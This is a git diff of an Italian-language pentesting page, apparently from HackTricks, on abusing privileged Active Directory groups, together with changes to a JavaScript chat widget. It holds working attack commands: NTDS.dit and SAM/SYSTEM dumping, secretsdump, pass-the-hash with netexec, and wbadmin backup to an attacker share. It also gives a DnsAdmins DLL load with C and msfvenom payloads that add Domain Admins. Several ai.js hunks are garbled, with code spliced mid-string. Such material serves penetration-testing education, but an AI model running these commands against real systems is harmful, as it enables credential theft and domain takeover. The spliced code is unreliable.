L'accesso diretto al file system del Domain Controller consente il furto del database `NTDS.dit`, che contiene tutti gli hash NTLM degli utenti e dei computer del dominio.
|
||||||
|
|
||||||
#### Utilizzando diskshadow.exe
|
#### Using diskshadow.exe
|
||||||
|
|
||||||
1. Crea una copia shadow del disco `C`:
|
1. Crea una shadow copy del drive `C`:
|
||||||
```cmd
|
```cmd
|
||||||
diskshadow.exe
|
diskshadow.exe
|
||||||
set verbose on
|
set verbose on
|
||||||
@ -98,7 +98,7 @@ expose %cdrive% F:
|
|||||||
end backup
|
end backup
|
||||||
exit
|
exit
|
||||||
```
|
```
|
||||||
2. Copia `NTDS.dit` dalla copia shadow:
|
2. Copia `NTDS.dit` dalla shadow copy:
|
||||||
```cmd
|
```cmd
|
||||||
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
||||||
```
|
```
|
||||||
@ -106,7 +106,7 @@ In alternativa, usa `robocopy` per copiare file:
|
|||||||
```cmd
|
```cmd
|
||||||
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
||||||
```
|
```
|
||||||
3. Estrai `SYSTEM` e `SAM` per il recupero degli hash:
|
3. Estrai `SYSTEM` e `SAM` per recuperare gli hash:
|
||||||
```cmd
|
```cmd
|
||||||
reg save HKLM\SYSTEM SYSTEM.SAV
|
reg save HKLM\SYSTEM SYSTEM.SAV
|
||||||
reg save HKLM\SAM SAM.SAV
|
reg save HKLM\SAM SAM.SAV
|
||||||
@ -115,10 +115,18 @@ reg save HKLM\SAM SAM.SAV
|
|||||||
```shell-session
|
```shell-session
|
||||||
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
||||||
```
|
```
|
||||||
#### Utilizzando wbadmin.exe
|
5. Post-estrazione: Pass-the-Hash a DA
|
||||||
|
```bash
|
||||||
|
# Use the recovered Administrator NT hash to authenticate without the cleartext password
|
||||||
|
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
|
||||||
|
|
||||||
1. Configura il filesystem NTFS per il server SMB sulla macchina dell'attaccante e memorizza nella cache le credenziali SMB sulla macchina target.
|
# Or execute via SMB using an exec method
|
||||||
2. Usa `wbadmin.exe` per il backup del sistema e l'estrazione di `NTDS.dit`:
|
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
|
||||||
|
```
|
||||||
|
#### Uso di wbadmin.exe
|
||||||
|
|
||||||
|
1. Configura un filesystem NTFS per SMB server sulla attacker machine e memorizza in cache le credenziali SMB sulla target machine.
|
||||||
|
2. Usa `wbadmin.exe` per il backup di sistema e l'estrazione di `NTDS.dit`:
|
||||||
```cmd
|
```cmd
|
||||||
net use X: \\<AttackIP>\sharename /user:smbuser password
|
net use X: \\<AttackIP>\sharename /user:smbuser password
|
||||||
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
||||||
@ -126,23 +134,29 @@ wbadmin get versions
|
|||||||
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
||||||
```
|
```
|
||||||
|
|
||||||
Per una dimostrazione pratica, vedere [DEMO VIDEO CON IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
Per una dimostrazione pratica, vedi [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
||||||
|
|
||||||
## DnsAdmins
|
## DnsAdmins
|
||||||
|
|
||||||
I membri del gruppo **DnsAdmins** possono sfruttare i loro privilegi per caricare una DLL arbitraria con privilegi di SYSTEM su un server DNS, spesso ospitato su Domain Controllers. Questa capacità consente un significativo potenziale di sfruttamento.
|
I membri del gruppo **DnsAdmins** possono sfruttare i loro privilegi per caricare una DLL arbitraria con privilegi SYSTEM su un DNS server, spesso ospitato su Domain Controllers. Questa capacità consente un significativo potenziale di sfruttamento.
|
||||||
|
|
||||||
Per elencare i membri del gruppo DnsAdmins, usa:
|
Per elencare i membri del gruppo DnsAdmins, usa:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
||||||
```
|
```
|
||||||
### Eseguire DLL arbitrarie
|
### Eseguire una DLL arbitraria (CVE‑2021‑40469)
|
||||||
|
|
||||||
I membri possono far caricare al server DNS una DLL arbitraria (sia localmente che da una condivisione remota) utilizzando comandi come:
|
> [!NOTE]
|
||||||
|
> Questa vulnerabilità permette l'esecuzione di codice arbitrario con privilegi SYSTEM nel servizio DNS (di solito all'interno dei DC). Il problema è stato corretto nel 2021.
|
||||||
|
|
||||||
|
I membri del gruppo Members possono far caricare al server DNS una DLL arbitraria (sia localmente che da una condivisione remota) usando comandi come:
|
||||||
```bash
|
```bash
|
||||||
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
||||||
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
||||||
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
||||||
|
|
||||||
|
# If dnscmd is not installed run from aprivileged PowerShell session:
|
||||||
|
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
|
||||||
```
|
```
|
||||||
|
|
||||||
```c
|
```c
|
||||||
@ -158,86 +172,90 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
|
|||||||
// Generate DLL with msfvenom
|
// Generate DLL with msfvenom
|
||||||
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
||||||
```
|
```
|
||||||
Riavviare il servizio DNS (che potrebbe richiedere permessi aggiuntivi) è necessario affinché il DLL venga caricato:
|
Il riavvio del servizio DNS (che potrebbe richiedere permessi aggiuntivi) è necessario affinché la DLL venga caricata:
|
||||||
```csharp
|
```csharp
|
||||||
sc.exe \\dc01 stop dns
|
sc.exe \\dc01 stop dns
|
||||||
sc.exe \\dc01 start dns
|
sc.exe \\dc01 start dns
|
||||||
```
|
```
|
||||||
Per ulteriori dettagli su questo vettore di attacco, fare riferimento a ired.team.
|
Per maggiori dettagli su questo vettore di attacco, fai riferimento a ired.team.
|
||||||
|
|
||||||
#### Mimilib.dll
|
#### Mimilib.dll
|
||||||
|
|
||||||
È anche possibile utilizzare mimilib.dll per l'esecuzione di comandi, modificandolo per eseguire comandi specifici o reverse shell. [Controlla questo post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) per ulteriori informazioni.
|
È anche possibile utilizzare mimilib.dll per l'esecuzione di comandi, modificandolo per eseguire comandi specifici o reverse shell. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
|
||||||
|
|
||||||
### Record WPAD per MitM
|
### Record WPAD per MitM
|
||||||
|
|
||||||
I DnsAdmins possono manipolare i record DNS per eseguire attacchi Man-in-the-Middle (MitM) creando un record WPAD dopo aver disabilitato l'elenco globale di blocco delle query. Strumenti come Responder o Inveigh possono essere utilizzati per il spoofing e la cattura del traffico di rete.
|
I membri di DnsAdmins possono manipolare i record DNS per eseguire attacchi Man-in-the-Middle (MitM) creando un record WPAD dopo aver disabilitato la global query block list. Strumenti come Responder o Inveigh possono essere usati per lo spoofing e la cattura del traffico di rete.
|
||||||
|
|
||||||
### Lettori di Log degli Eventi
|
### Event Log Readers
|
||||||
I membri possono accedere ai log degli eventi, trovando potenzialmente informazioni sensibili come password in chiaro o dettagli sull'esecuzione di comandi:
|
I membri possono accedere ai registri eventi, potenzialmente trovando informazioni sensibili come password in chiaro o dettagli sull'esecuzione di comandi:
|
||||||
```bash
|
```bash
|
||||||
# Get members and search logs for sensitive information
|
# Get members and search logs for sensitive information
|
||||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||||
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
||||||
```
|
```
|
||||||
## Permessi di Windows di Exchange
|
## Exchange Windows Permissions
|
||||||
|
|
||||||
Questo gruppo può modificare i DACL sui oggetti di dominio, potenzialmente concedendo privilegi DCSync. Le tecniche per l'escalation dei privilegi che sfruttano questo gruppo sono dettagliate nel repository GitHub Exchange-AD-Privesc.
|
Questo gruppo può modificare le DACLs sull'oggetto di dominio, potenzialmente concedendo privilegi DCSync. Le tecniche per l'elevazione dei privilegi che sfruttano questo gruppo sono dettagliate nel repository Exchange-AD-Privesc su GitHub.
|
||||||
```bash
|
```bash
|
||||||
# List members
|
# List members
|
||||||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||||
```
|
```
|
||||||
## Hyper-V Administrators
|
## Hyper-V Administrators
|
||||||
|
|
||||||
Gli amministratori di Hyper-V hanno accesso completo a Hyper-V, che può essere sfruttato per ottenere il controllo sui Domain Controller virtualizzati. Questo include il clonaggio di DC live ed estraendo gli hash NTLM dal file NTDS.dit.
|
Hyper-V Administrators hanno pieno accesso a Hyper-V, il che può essere sfruttato per ottenere il controllo sui Domain Controllers virtualizzati. Ciò include il clonare DC attivi e l'estrazione di hash NTLM dal file NTDS.dit.
|
||||||
|
|
||||||
### Esempio di sfruttamento
|
### Esempio di sfruttamento
|
||||||
|
|
||||||
Il servizio di manutenzione di Mozilla Firefox può essere sfruttato dagli amministratori di Hyper-V per eseguire comandi come SYSTEM. Questo comporta la creazione di un hard link a un file SYSTEM protetto e la sua sostituzione con un eseguibile malevolo:
|
Il Mozilla Maintenance Service di Firefox può essere sfruttato da Hyper-V Administrators per eseguire comandi come SYSTEM. Ciò comporta la creazione di un hard link verso un file SYSTEM protetto e la sua sostituzione con un eseguibile malevolo:
|
||||||
```bash
|
```bash
|
||||||
# Take ownership and start the service
|
# Take ownership and start the service
|
||||||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||||
sc.exe start MozillaMaintenance
|
sc.exe start MozillaMaintenance
|
||||||
```
|
```
|
||||||
Nota: Lo sfruttamento dei hard link è stato mitigato negli aggiornamenti recenti di Windows.
|
Nota: Hard link exploitation è stato mitigato nei recenti aggiornamenti di Windows.
|
||||||
|
|
||||||
## Gestione dell'Organizzazione
|
## Group Policy Creators Owners
|
||||||
|
|
||||||
Negli ambienti in cui è distribuito **Microsoft Exchange**, un gruppo speciale noto come **Organization Management** detiene capacità significative. Questo gruppo ha il privilegio di **accedere alle cassette postali di tutti gli utenti del dominio** e mantiene **il pieno controllo sull'Unità Organizzativa (OU) 'Microsoft Exchange Security Groups'**. Questo controllo include il gruppo **`Exchange Windows Permissions`**, che può essere sfruttato per l'escalation dei privilegi.
|
Questo gruppo permette ai membri di creare Group Policies nel dominio. Tuttavia, i suoi membri non possono applicare group policies a utenti o gruppi né modificare i GPO esistenti.
|
||||||
|
|
||||||
### Sfruttamento dei Privilegi e Comandi
|
## Organization Management
|
||||||
|
|
||||||
#### Operatori di Stampa
|
In ambienti in cui **Microsoft Exchange** è distribuito, un gruppo speciale noto come **Organization Management** possiede capacità significative. Questo gruppo ha il privilegio di **accedere alle cassette postali di tutti gli utenti del dominio** e mantiene il **controllo completo sull'OU 'Microsoft Exchange Security Groups'**. Questo controllo include il gruppo **`Exchange Windows Permissions`**, che può essere sfruttato per l'elevazione di privilegi.
|
||||||
|
|
||||||
I membri del gruppo **Print Operators** sono dotati di diversi privilegi, incluso il **`SeLoadDriverPrivilege`**, che consente loro di **accedere localmente a un Domain Controller**, spegnerlo e gestire le stampanti. Per sfruttare questi privilegi, specialmente se **`SeLoadDriverPrivilege`** non è visibile in un contesto non elevato, è necessario bypassare il Controllo Account Utente (UAC).
|
### Privilege Exploitation and Commands
|
||||||
|
|
||||||
Per elencare i membri di questo gruppo, viene utilizzato il seguente comando PowerShell:
|
#### Print Operators
|
||||||
|
|
||||||
|
I membri del gruppo **Print Operators** sono dotati di diversi privilegi, incluso **`SeLoadDriverPrivilege`**, che permette loro di **accedere localmente a un Domain Controller**, spegnerlo e gestire le stampanti. Per sfruttare questi privilegi, soprattutto se **`SeLoadDriverPrivilege`** non è visibile da un contesto non elevato, è necessario bypassare User Account Control (UAC).
|
||||||
|
|
||||||
|
Per elencare i membri di questo gruppo, si usa il seguente comando PowerShell:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
||||||
```
|
```
|
||||||
Per tecniche di sfruttamento più dettagliate relative a **`SeLoadDriverPrivilege`**, è consigliabile consultare risorse di sicurezza specifiche.
|
Per tecniche di exploitation più dettagliate relative a **`SeLoadDriverPrivilege`**, è consigliabile consultare risorse di sicurezza specifiche.
|
||||||
|
|
||||||
#### Utenti Desktop Remoto
|
#### Utenti Desktop Remoto
|
||||||
|
|
||||||
I membri di questo gruppo hanno accesso ai PC tramite il Protocollo Desktop Remoto (RDP). Per enumerare questi membri, sono disponibili comandi PowerShell:
|
I membri di questo gruppo hanno accesso ai PC tramite Remote Desktop Protocol (RDP). Per enumerare questi membri, sono disponibili comandi PowerShell:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||||
```
|
```
|
||||||
Ulteriori informazioni sull'exploitation di RDP possono essere trovate in risorse dedicate al pentesting.
|
Ulteriori approfondimenti su come sfruttare RDP si trovano in risorse dedicate al pentesting.
|
||||||
|
|
||||||
#### Utenti di gestione remota
|
#### Remote Management Users
|
||||||
|
|
||||||
I membri possono accedere ai PC tramite **Windows Remote Management (WinRM)**. L'enumerazione di questi membri si ottiene attraverso:
|
I membri possono accedere ai PC tramite **Windows Remote Management (WinRM)**. L'enumerazione di questi membri viene effettuata mediante:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||||
```
|
```
|
||||||
Per le tecniche di sfruttamento relative a **WinRM**, è necessario consultare documentazione specifica.
|
Per le tecniche di exploitation relative a **WinRM**, consultare la documentazione specifica.
|
||||||
|
|
||||||
#### Server Operators
|
#### Server Operators
|
||||||
|
|
||||||
Questo gruppo ha i permessi per eseguire varie configurazioni sui Domain Controllers, inclusi i privilegi di backup e ripristino, la modifica dell'ora di sistema e lo spegnimento del sistema. Per enumerare i membri, il comando fornito è:
|
Questo gruppo ha i permessi per effettuare varie configurazioni sui controller di dominio, inclusi i privilegi di backup e ripristino, la modifica dell'ora di sistema e l'arresto del sistema. Per enumerare i membri, il comando fornito è:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||||
```
|
```
|
||||||
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
|||||||
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
||||||
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||||
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
60
theme/ai.js
60
theme/ai.js
@ -5,7 +5,10 @@
|
|||||||
|
|
||||||
(() => {
|
(() => {
|
||||||
const KEY = 'htSummerDiscountsDismissed';
|
const KEY = 'htSummerDiscountsDismissed';
|
||||||
const IMG = '/images/discount.jpeg';
|
const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar
|
||||||
|
* ---------------------------------------------------
|
||||||
|
* ❶ Markdown rendering + sanitised (same as before)
|
||||||
|
* ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg';
|
||||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||||
const URL = 'https://training.hacktricks.xyz';
|
const URL = 'https://training.hacktricks.xyz';
|
||||||
|
|
||||||
@ -13,7 +16,20 @@
|
|||||||
if (localStorage.getItem(KEY) === 'true') return;
|
if (localStorage.getItem(KEY) === 'true') return;
|
||||||
|
|
||||||
// Quick helper
|
// Quick helper
|
||||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
|
||||||
|
<div id="ht-ai-header">
|
||||||
|
<strong>HackTricks AI Chat</strong>
|
||||||
|
<span style="font-size:11px;opacity:0.6;margin-left:8px;">↔ Drag edge to resize</span>
|
||||||
|
<div class="ht-actions">
|
||||||
|
<button id="ht-ai-reset" title="Reset">↺</button>
|
||||||
|
<span id="ht-ai-close" title="Close">✖</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id="ht-ai-chat"></div>
|
||||||
|
<div id="ht-ai-input">
|
||||||
|
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
|
||||||
|
<button id="ht-ai-send">Send</button>
|
||||||
|
</div>`;tag), { style: css });
|
||||||
|
|
||||||
// --- Overlay (blur + dim) ---
|
// --- Overlay (blur + dim) ---
|
||||||
const overlay = $('div', `
|
const overlay = $('div', `
|
||||||
@ -111,7 +127,7 @@
|
|||||||
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
||||||
const MAX_QUESTION = 500; // question char limit
|
const MAX_QUESTION = 500; // question char limit
|
||||||
const MIN_W = 250; // ← resize limits →
|
const MIN_W = 250; // ← resize limits →
|
||||||
const MAX_W = 600;
|
const MAX_W = 800;
|
||||||
const DEF_W = 350; // default width (if nothing saved)
|
const DEF_W = 350; // default width (if nothing saved)
|
||||||
const TOOLTIP_TEXT =
|
const TOOLTIP_TEXT =
|
||||||
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
||||||
@ -345,8 +361,9 @@
|
|||||||
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
||||||
#ht-ai-panel.open{transform:translateX(0)}
|
#ht-ai-panel.open{transform:translateX(0)}
|
||||||
@media(max-width:768px){#ht-ai-panel{display:none}}
|
@media(max-width:768px){#ht-ai-panel{display:none}}
|
||||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
|
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
|
||||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
|
#ht-ai-header strong{flex-shrink:0}
|
||||||
|
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
|
||||||
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
||||||
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
||||||
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
||||||
@ -367,8 +384,10 @@
|
|||||||
::selection{background:#ffeb3b;color:#000}
|
::selection{background:#ffeb3b;color:#000}
|
||||||
::-moz-selection{background:#ffeb3b;color:#000}
|
::-moz-selection{background:#ffeb3b;color:#000}
|
||||||
/* NEW: resizer handle */
|
/* NEW: resizer handle */
|
||||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
|
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
|
||||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
|
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
|
||||||
|
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
|
||||||
|
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
|
||||||
const s = document.createElement("style");
|
const s = document.createElement("style");
|
||||||
s.id = "ht-ai-style";
|
s.id = "ht-ai-style";
|
||||||
s.textContent = css;
|
s.textContent = css;
|
||||||
@ -432,24 +451,43 @@
|
|||||||
|
|
||||||
const onMove = (e) => {
|
const onMove = (e) => {
|
||||||
if (!dragging) return;
|
if (!dragging) return;
|
||||||
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
|
e.preventDefault();
|
||||||
|
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||||
|
const dx = startX - clientX; // dragging leftwards ⇒ +dx
|
||||||
let newW = startW + dx;
|
let newW = startW + dx;
|
||||||
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
||||||
panel.style.width = newW + "px";
|
panel.style.width = newW + "px";
|
||||||
};
|
};
|
||||||
|
|
||||||
const onUp = () => {
|
const onUp = () => {
|
||||||
if (!dragging) return;
|
if (!dragging) return;
|
||||||
dragging = false;
|
dragging = false;
|
||||||
|
handle.style.background = "";
|
||||||
|
document.body.style.userSelect = "";
|
||||||
|
document.body.style.cursor = "";
|
||||||
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
||||||
document.removeEventListener("mousemove", onMove);
|
document.removeEventListener("mousemove", onMove);
|
||||||
document.removeEventListener("mouseup", onUp);
|
document.removeEventListener("mouseup", onUp);
|
||||||
|
document.removeEventListener("touchmove", onMove);
|
||||||
|
document.removeEventListener("touchend", onUp);
|
||||||
};
|
};
|
||||||
handle.addEventListener("mousedown", (e) => {
|
|
||||||
|
const onStart = (e) => {
|
||||||
|
e.preventDefault();
|
||||||
dragging = true;
|
dragging = true;
|
||||||
startX = e.clientX;
|
startX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||||
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
||||||
|
handle.style.background = "rgba(255,255,255,.25)";
|
||||||
|
document.body.style.userSelect = "none";
|
||||||
|
document.body.style.cursor = "ew-resize";
|
||||||
|
|
||||||
document.addEventListener("mousemove", onMove);
|
document.addEventListener("mousemove", onMove);
|
||||||
document.addEventListener("mouseup", onUp);
|
document.addEventListener("mouseup", onUp);
|
||||||
});
|
document.addEventListener("touchmove", onMove, { passive: false });
|
||||||
|
document.addEventListener("touchend", onUp);
|
||||||
|
};
|
||||||
|
|
||||||
|
handle.addEventListener("mousedown", onStart);
|
||||||
|
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||||
}
|
}
|
||||||
})();
|
})();
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user